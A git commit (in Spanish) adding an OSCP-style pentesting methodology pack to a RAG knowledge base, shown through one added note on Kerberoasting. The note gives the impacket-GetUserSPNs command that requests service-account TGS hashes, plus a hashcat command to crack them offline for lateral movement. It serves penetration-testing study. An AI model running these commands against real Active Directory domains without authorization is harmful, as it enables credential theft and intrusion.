saber: pack de metodologia publico (conocimiento/) + doc del RAG

El repo trae ahora ~73 docs de metodologia de pentesting (estilo OSCP,
scrubeados de datos personales) que indexa.py indexa: un clon recien hecho ya
sabe de enumeracion, explotacion web, shells, privesc, Active Directory,
cracking... con los comandos, sin ningun dato privado. docs/rag.md lo refleja.

nucleo/saber/conocimiento/05 - Active Directory/Kerberoasting.md

@@ -0,0 +1,22 @@
+# Kerberoasting
+
+> Pides el **TGS** de cuentas de servicio (las que tienen **SPN**) y crackeas su hash offline. Uno de los 7 caminos de Active Directory.
+
+## Requisito
+Cualquier credencial **válida** de dominio (un user cualquiera).
+
+## Ataque
+```bash
+impacket-GetUserSPNs dominio/usuario:password -dc-ip IP -request
+# → te devuelve hashes TGS (Kerberos 5 TGS-REP, $krb5tgs$)
+```
+
+## Crackeo offline
+```bash
+hashcat -m 13100 hashes.txt rockyou.txt
+```
+
+## Por qué funciona
+El TGS va cifrado con el hash de la cuenta de servicio (Kerberos). Si su password es débil → crackeo → credencial nueva → Movimiento lateral.
+
+Relacionado: Cracking de contraseñas · AS-REP Roasting · Impacket · BloodHound · OSCP MOC